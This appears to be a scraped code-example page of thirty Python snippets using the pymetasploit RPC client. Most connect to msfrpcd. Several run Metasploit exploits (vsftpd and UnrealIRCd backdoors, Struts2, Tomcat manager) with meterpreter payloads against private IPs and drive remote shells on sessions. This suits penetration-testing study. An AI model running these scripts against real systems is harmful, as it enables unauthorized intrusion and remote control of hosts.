Пример #1
0
 def _rpc_connect(self):
     self.rpc = MsfRpcClient(self.config.get("rpc", "password"),
                             verify=False,
                             username=self.config.get("rpc", "username"),
                             port=self.config.getint("rpc", "port"),
                             server=self.config.get("rpc", "host"),
                             ssl=self.config.getboolean("rpc", "ssl"))
Пример #2
0
def interactive():
    try:
        if ':55553' not in subprocess.getoutput('netstat -ntlp'):
            os.system('msfrpcd -S -a 127.0.0.1 -P test -U msf')
        while True:
            run = subprocess.getoutput('netstat -ntlp')
            if ':55553' in run: break
        rat = MsfRpcClient('test', ssl=False)
        cmd = rat.consoles.console()
        baner = cmd.read()
        baner = baner['data']
        print(baner)
        while True:
            x = cmd.read()
            console = rat.consoles.list['consoles'][-1]['prompt']
            console = console.replace('\x01\x02', '')
            run = input('\r' + console)
            if run == '':
                x = cmd.read()
                continue
            if run == 'exit': break
            cmd.write(run)
            for i in range(0, 30):
                sh = cmd.read()
                sh = sh['data']
                if sh != '':
                    print(sh)
                    sh = cmd.read()
                    break
    except KeyboardInterrupt:
        print('\rExiting program...')
        exit()
    except:
        print('\rCannot connect to msfrpc service...')
Пример #3
0
def login(**kwargs):
    s = None
    host = kwargs.get('host', config['msfrpcd/server'])
    port = kwargs.get('port', config['msfrpcd/port'])
    uri = kwargs.get('uri', config['msfrpcd/uri'])
    fn = cookie('%s.%s.%s.msfrpcd' % (host, port, uri.replace('/', '.')))
    if not path.exists(fn):
        f = fsemaphore(fn, 'wb')
        f.lockex()
        fv = [host, port, uri, 'msf']
        errmsg = ''
        while True:
            fv = multpasswordbox(
                errmsg, 'Metasploit Login',
                ['Server:', 'Port:', 'URI', 'Username:'******'Password:'], fv)
            if not fv:
                return
            try:
                s = MsfRpcClient(fv[4],
                                 server=fv[0],
                                 port=fv[1],
                                 uri=fv[2],
                                 username=fv[3])
            except MsfRpcError, e:
                errmsg = str(e)
                continue
            except socket.error, e:
                errmsg = str(e)
                continue
            break
Пример #4
0
def launch_attack(profile):
    client = MsfRpcClient('abc123')
    exploit = client.modules.use('exploit', profile["exploit"])
    exploit['RHOST'] = profile['RHOST']
    exploit['RPORT'] = profile['RPORT']
    exploit['VERBOSE'] = True
    ret = exploit.execute(payload=profile["payload"])
    print ret
Пример #5
0
 def login(self, password, port=None, server=None, username=None, ssl=None):
     self.msfClient = MsfRpcClient(
         password,
         username=username or 'msf',
         port=port or '55553',
         server=server or '127.0.0.1',
         ssl=ssl or False,
     )
Пример #6
0
def session_interaction_handler(session_id, cmd):

    print("*****************************backend session check  process")
    try:
        client = MsfRpcClient("123", server="127.0.0.1", ssl=False)
        print("********************** rpc connected ")
    except Exception as e:
        print e
        # Group('pool').send({
        #     "text": json.dumps({
        #         "action":"session_interact_"+session_id,
        #         "session_interact_response": "\n Metasploit connection Error, ",
        #     })
        # })
    else:
        if bool(client.sessions.list):

            print(type(client.sessions.list))
            print(client.sessions.list.keys())
            print(bool(client.sessions.list))
            session_id = int(session_id)
            # session_id = 5 - 1
            # session_idd = client.sessions.list.keys()
            shell = client.sessions.session(session_id)
            print shell
            print("\n\n")
            cond = True
            try:
                while cond == True:
                    inn = raw_input("shell_by_CH >  ")
                    if inn == "exit":
                        exit()
                    shell.write(inn + '\n')
                    print shell.read()

            except Exception as e:
                client = MsfRpcClient("123", server="127.0.0.1", ssl=False)
                print e
            finally:
                while cond == True:
                    inn = raw_input("shell_by_CH >  ")
                    if inn == "exit":
                        exit()
                    shell.write(inn + '\n')
                    print shell.read()
Пример #7
0
 def connect(self, params):
     try:
         _create_unverified_https_context = ssl._create_unverified_context
     except AttributeError as e:
         self.logger.debug(e)
     else:
         ssl._create_default_https_context = _create_unverified_https_context
     self.logger.info("Connect: Connecting...")
     params = {unicode(k).encode("utf-8"): unicode(v).encode("utf-8") for k, v in params.iteritems()}
     self.client = MsfRpcClient(**params)
     self.logger.info("Client connection established")
Пример #8
0
 def connect(self):
     print "[*] Connecting to server:\n Host => %s,\n Port => %s,\n User => %s,\n " \
           "Pwd => %s,\n SSL => %s\n" % (self.host, self.port, self.username, '*' * len(self.password), self.ssl)
     # Login to msfrpcd server
     try:
         kwargs = {'username': self.username, 'port': self.port, 'server': self.host, 'ssl': self.ssl}
         self.client = MsfRpcClient(self.password, **kwargs)
         print "[+] Successfully connected"
     except SSLError, msg:
         print "[-] SSL error: " + str(msg)
         print "[-] You probably have installed the wrong pymetasploit version try installing it from here: https://github.com/allfro/pymetasploit.git"
         return False
Пример #9
0
def msfrpc(self, job):
    from metasploit.msfrpc import MsfRpcClient, MsfRpcError
    res = ''
    try:
        msf = MsfRpcClient('123456')
        print msf.db.connect(
            'msf',
            database='msf',
            host='127.0.0.1',
            password='******')
        print msf.db.status
        exp = msf.modules.use('exploit', 'windows/iis/ms01_023_printer')
        exp['RHOST'] = '127.0.0.1'
        exp['RPORT'] = 80
        exp['VERBOSE'] = True
        res = exp.execute()
        print msf.call('db.hosts', {})
        print msf.call('db.services', {})
    except socket.error as ex:
        res = ex.strerror
        return res
    except MsfRpcError as ex:
        res = ex.message
        return res

    return res
Пример #10
0
def process_session_check(session_id, host_id, uuid):
    print(" [ SESSION ] Backend session check  process STARTED ")
    try:
        client = MsfRpcClient("123", server="127.0.0.1", ssl=False)
        print("[ SESSION ] Rpc server connected ")
    except Exception as e:
        Group('pool').send({
            "text":
            json.dumps({
                "action": "session_status_checking",
                "session_current_status":
                "\n xerror@w11:~> Metasploit Connection Not succesfuull \n",
                "session_status": "Msf conect/error",
                "session_id": session_id,
            })
        })
    else:
        print("[ SESSION ] Checking session status  ")
        session_idd = client.sessions.list
        lst = session_idd.keys()
        session_id = int(session_id)
        if session_id in lst:
            print("[ SESSION ] Session Active for following uuid ")
            print(uuid)

            Group('pool').send({
                "text":
                json.dumps({
                    "action": "session_status_checking",
                    "session_current_status":
                    "\n xerror@w11:~> Metasploit Sssion to Remote host is active \n",
                    "session_status": "active",
                    "session_id": session_id,
                })
            })
        else:
            print("[ SESSION ] Session is not active for following uuid ")
            print(uuid)
            Group('pool').send({
                "text":
                json.dumps({
                    "action": "session_status_checking",
                    "session_current_status":
                    "\n xerror@w11:~> Metasploit Session to Remote host is not active \n",
                    "session_status": "no",
                    "session_id": session_id,
                })
            })
Пример #11
0
    def __init__(self, password, rpcport, listenerport, payload):
        self.interactorclient = MsfRpcClient(password, ssl=False, port=rpcport)

        self.consolebuffer = []
        self.listenerconsole = MsfRpcConsole(self.interactorclient,
                                             cb=self.appendtoconsolebuffer)

        self.listenerconsole.execute('use exploit/multi/handler')
        self.listenerconsole.execute('set PAYLOAD ' + payload)
        self.listenerconsole.execute('set LPORT ' + str(listenerport))
        self.listenerconsole.execute('set LHOST 0.0.0.0')
        self.listenerconsole.execute('set ExitOnSession false')
        self.listenerconsole.execute('exploit -j')

        self.currentsessionid = None
        self.currentshell = None
Пример #12
0
Файл: pth.py Проект: ranthai/PtH
def setupRPC():
    # Setup SSL fix
    try:
        _create_unverified_https_context = ssl._create_unverified_context
    except AttributeError:
        pass
    else:
        ssl._create_default_https_context = _create_unverified_https_context
    # Create the connection to the RPC client
    client = None
    try:
        client = MsfRpcClient('password')
        return client
    except:
        print('please run msfrpc!')
        return None
Пример #13
0
    def compromise(self, target, detect_val):
        """Perform the exploitation"""

        # detect_val should be socket we used to test for compromise
        # Saves an open socket

        payload = self.payload

        try:
            client = MsfRpcClient("password", server="192.168.1.59")
            exploit = client.modules.use("auxiliary", 'scanner/ssh/ssh_login')
            exploit["USERNAME"] = "******"
            exploit["PASSWORD"] = "******"
            exploit["RHOSTS"] = "192.168.1.65"
            ticket = exploit.execute()

            time.sleep(0.25)
            if not client.sessions.list:
                return False

            s = None
            for i in client.sessions.list:
                if client.sessions.list[i]['exploit_uuid'] == ticket['uuid']:
                    s = client.sessions.session(i)
                    break

            if s == None:
                return False

            for i in self.payload.files.keys():
                self.drop_file(s, i, payload.files[i])

            for i in self.payload.steps():
                s.write(i + "\n")

            s.write("exit\n")
        except:
            import traceback
            traceback.print_exc()

        return True
def init_metasploit(rhosts):

    config.read('vuln.ini')
    rhosts = rhosts
    vuln =    config['Settings']['VULN']
    threads = config['Settings']['THREADS']
    exploit = config['Settings']['EXPLOIT']

    client = MsfRpcClient('password')

    # cb - callback function, executes when data arrives to console
    console = MsfRpcConsole(client, cb=read_console)

    print("RHOSTS TO USE: " )#+ rhosts)
    print("VULNERABILITY TO CHECK: " + vuln)
    print("THREADS TO USE: " + threads)
    print("EXPLOIT TO USE: " + exploit)

    time.sleep(2)

    return console, rhosts, vuln, threads, exploit
Пример #15
0
def todo():
    todo = request.args.get('do')
    host = request.args.get('host')
    target = request.args.get('target')
    exploit = request.args.get('exploit')

    if todo == 'Identifier':
        identifyResults = Identifier.scanCurrentNetwork()
        identifyDict = json.loads(identifyResults)
        Net_map.insert(identifyDict)
        return identifyResults

    elif todo == 'Enricher' and host != '':
        enrichResults = Enricher.scanHostForInfo(host)
        return str(enrichResults)

    elif todo == 'Exploiter' and target != '' and exploit != '':
        msClient = MsfRpcClient("pass")
        exploitResults = Exploiter.callExploit(msClient, exploit, target)
        return str(exploitResults)

    else:
        return 'Error: input incorrect'
Пример #16
0
def sploiter(RHOST, LHOST, LPORT, session):
    client = MsfRpcClient('passwd', server="127.0.0.1", ssl=False)
    ress = client.call('console.create')
    console_id = ress['id']

    ## Exploit CVE-2018-11776
    commands = """use exploit/multi/http/struts2_rest_xstream
    set PAYLOAD linux/x64/meterpreter_reverse_https
    set RHOST """ + RHOST + """
    set LHOST """ + LHOST + """
    set LPORT """ + LPORT + """
    set ExitOnSession false
    exploit -z
    """
    print("[+] Exploiting CVE-2018-11776 on: " + RHOST)
    client.call('console.write', [console_id, commands])
    res = client.call('console.read', [console_id])
    result = res['data'].split('n')
Пример #17
0
from metasploit.msfrpc import MsfRpcClient

#msfrpcd -U msf -P test -f
cli = MsfRpcClient(username="******", password="******")
lista = cli.modules.exploits
for m in lista:
    if "windows" in m:
        if "smb" in m:
            print m
Пример #18
0
from metasploit.msfrpc import MsfRpcClient
cli = MsfRpcClient(username='******', password='******', ssl=False, port=55553)
exploit = cli.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
Пример #19
0
 def __init__(self, password, **kwargs):
     self.fl = True
     self.client = MsfRpcConsole(MsfRpcClient(password, **kwargs), cb=self.callback)
     InteractiveConsole.__init__(self, {'rpc': self.client})
     self.init_history(path.expanduser('~/.msfconsole_history'))
def console_reader(data_in_console):
    status_of_console = data_in_console['busy']
    console_data = data_in_console['data'].rstrip().split('\n')
    for line in console_data:
        if '[+]' in line:
            line_with_positive.append(line)
        elif 'exploit/' in line:
            line_with_exploit.append(line)
        else:
            line_with_out.append(line)

    print status_of_console


client = MsfRpcClient("hocine")
console = MsfRpcConsole(client, cb=console_reader)

#utile.parcer_result_scannig("result_of_scannig.csv")

list_cve = []
list_host_exploit = []
list_temp = list()

hitgh_vul = open("high_vul.csv", "r")
lines = csv.reader(hitgh_vul)
for line in lines:
    list_cve = line[1].split(',')
    line[1] = ""
    for cve in list_cve:
        console.execute("search " + str(cve) + "")
Пример #21
0
            break
        f.write(
            urlencode({
                'host': fv[0],
                'port': fv[1],
                'uri': fv[2],
                'token': s.sessionid
            }))
        f.unlock()

        if 'db' not in s.db.status:
            s.db.connect(config['metasploit/dbusername'],
                         database=config['metasploit/dbname'],
                         driver=config['metasploit/dbdriver'],
                         host=config['metasploit/dbhost'],
                         port=config['metasploit/dbport'],
                         password=config['metasploit/dbpassword'])
    else:
        f = fsemaphore(fn)
        f.locksh()
        try:
            d = dict(parse_qsl(f.read()))
            s = MsfRpcClient('', **d)
        except MsfRpcError:
            unlink(fn)
            return login()
        except socket.error:
            unlink(fn)
            return login()
    return s
Пример #22
0
import os
import argparse

try:
    from metasploit.msfrpc import MsfRpcClient
except:
    raise ImportError
    os.exit(-1)
    

MSF_PASSWD = os.environ["MSF_PASSWD"]
try:
    client = MsfRpcClient(MSF_PASSWD)
except:
    raise ConnectionError
    os.exit(-1)




def transform(data, pse):
    # type: (str, PSEStore) -> str
    try:
        client.modules.payload
    # ... here goes all the logic
    return data
Пример #23
0
from metasploit.msfrpc import MsfRpcClient
import time
client = MsfRpcClient('toor')
print str(client)
#print "Hello world"
#[m for m in dir(client) if not m.startswith('_')]
#print str( client.modules.exploits)
#print str(client.modules.auxiliary)
for module in client.modules.exploits:
    print str(module)

print "\n\n"
exploit = client.modules.use('auxiliary', 'auxiliary/scanner/ftp/ftp_version')
#exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
print str(exploit.description) + "\n\n"
print str(exploit.authors) + "\n\n"
print str(exploit.options) + "\n\n"
print str(exploit.required) + "\n\n"
#print str(exploit.payloads)+"\n\n"
exploit['RHOSTS'] = '192.168.179.135'
#exploit['RPORT']='21'
#exploit['USERNAME']='******'
exploit['THREADS'] = 1
#exploit['PASSWORD']='******'
#exploit['VERBOSE'] =True
#print str(exploit.options) +"\n\n"
ss = exploit.execute()
#ss=exploit.execute(payload='cmd/unix/interact')
#time.sleep(5)
print str(ss)
#print str(client.sessions.list)
Пример #24
0
def process_session_interact(session_id, cmd):

    print("*****************************backend session check  process")
    try:
        client = MsfRpcClient("123", server="127.0.0.1", ssl=False)
        print("********************** rpc connected ")
    except Exception as e:
        Group('pool').send({
            "text":
            json.dumps({
                "action":
                "session_interact_" + session_id,
                "session_interact_response":
                "\n Metasploit connection Error, ",
            })
        })
    else:
        session_idd = client.sessions.list.keys()
        session_id = int(session_id)

        if session_id in session_idd:

            Group('pool').send({
                "text":
                json.dumps({
                    "action":
                    "session_interact_" + str(session_id),
                    "session_interact_response":
                    "\n Rhost Session found Executing command \n",
                })
            })

            try:
                print "*********************** shell command"
                print cmd
                cmd = cmd.encode("UTF8")
                shell = client.sessions.session(session_id)
                shell.write(cmd + '\n')
                time.sleep(3)
                resul = shell.read()
                print resul
                if resul:
                    Group('pool').send({
                        "text":
                        json.dumps({
                            "action":
                            "session_interact_" + str(session_id),
                            "session_interact_response":
                            "\n " + resul,
                        })
                    })
                else:
                    print "no response"
                    Group('pool').send({
                        "text":
                        json.dumps({
                            "action":
                            "session_interact_" + str(session_id),
                            "session_interact_response":
                            "No output from from remote shell to given command\n ",
                        })
                    })
            except Exception as e:
                print e
                Group('pool').send({
                    "text":
                    json.dumps({
                        "action":
                        "session_interact_" + str(session_id),
                        "session_interact_response":
                        "\n Shell command executing in remote host got error  ",
                    })
                })

        else:
            Group('pool').send({
                "text":
                json.dumps({
                    "action":
                    "session_interact_" + str(session_id, ),
                    "session_interact_response":
                    "\n Rpc session Expired or Sesion not found  ",
                })
            })
Пример #25
0
                shell.write(cmd + '\n')
                buffer = ""
                temp = shell.read()

                while (len(temp)):
                    buffer = buffer + temp
                    temp = shell.read()
                    time.sleep(.001)

                txt.write(buffer)
                txt.flush()
            except:
                pass


client = MsfRpcClient('password', port=55553)
time.sleep(10)
exploit = client.modules.use('exploit', 'unix/irc/unreal_ircd_3281_backdoor')
exploit['RHOST'] = '192.168.1.230'
#exploit['RPORT'] = '8067'

for pl in exploit.payloads:
    exploit.execute(payload=pl)
    time.sleep(10)
    X = client.jobs.list
    print(X)
    if len(X):
        if X.keys()[0] != 'None':
            break
    pass
while len(client.sessions.list) == 0:
from metasploit.msfrpc import MsfRpcClient
from metasploit.msfconsole import MsfRpcConsole

client = MsfRpcClient('password', user='******')

exploits = client.modules.exploits

for exploit in exploits:
    print("\t%s" % exploit)

scan = client.modules.use('exploits', 'multi/http/tomcat_mgr_deploy')

scan.description

scan.required

scan['RHOST'] = '192.168.100.2'
scan['RPORT'] = '8180'
scan['PATH'] = '/manager'
scan['HttpUsername'] = '******'
scan['HttpPassword'] = '******'
scan['payload'] = 'java/meterpreter/bind_tcp'

print(scan.execute())

console = MsfRpcConsole(client)

console.execute('use exploit/multi/http/tomcat_mgr_deploy')
console.execute('set RHOST 192.168.100.2')
console.execute('set RPORT 8180')
console.execute('set PATH /manager')
Пример #27
0
 def _login(self):
     conn = MsfRpcClient('testpassword')
     return conn
Пример #28
0
print ("We are now going to exploit this cve with our automated exploit tool...\n")
contiue_script = input("\nAre you ready to run the exploit...? ")
if "y" in contiue_script or "Y" in contiue_script:
    pass
else:
    print ("Exiting script...")
    quit()

split_msf = msf.split("exploits/")
split_msf = split_msf[1]
split_msf = split_msf.split(".rb")
module = split_msf[0]

print ("Creating a metasploit service...\n")
# create a metasploit object
msfrpc_obj = MsfRpcClient(metasploit_login)
if msfrpc_obj:
    print ("Successfully created client service...")
else:
    print ("Oops! Something went wrong...")
# create a metasploit modules object
exploit_list = msfrpc_obj.modules.exploits

print ("starting attack on victim: ", remote_ip)
exploit = msfrpc_obj.modules.use('exploit', exploit_module)
exploit['RHOSTS'] = remote_ip
exploit['RPORT'] = remote_port
exploit['TARGETURI'] = target_uri
exploit['VERBOSE']= False
exploit.execute(payload=payload)
Пример #29
0
 def __init__(self, password, **kwargs):
     self.client = MsfRpcClient(password, **kwargs)
     InteractiveConsole.__init__(self, {'rpc': self.client}, '<console>')
     self.init_history(path.expanduser('~/.msfrpc_history'))
Пример #30
0
from metasploit.msfrpc import MsfRpcClient
from metasploit.msfconsole import MsfRpcConsole

client = MsfRpcClient('123456', user='******')

print dir(console)

auxilary = client.modules.auxiliary

for i in auxilary:
    print "\t%s" % i

scan = client.modules.use('auxiliary', 'scanner/ssh/ssh_version')

scan.description

scan.required

scan['VERBOSE'] = True
scan['RHOSTS'] = '192.168.1.119'

print scan.execute()

console = MsfRpcConsole(client)

console.execute('use scanner/ssh/ssh_version')
console.execute('set RHOSTS 192.168.1.119')
console.execute('set VERBOSE True')
console.execute('run')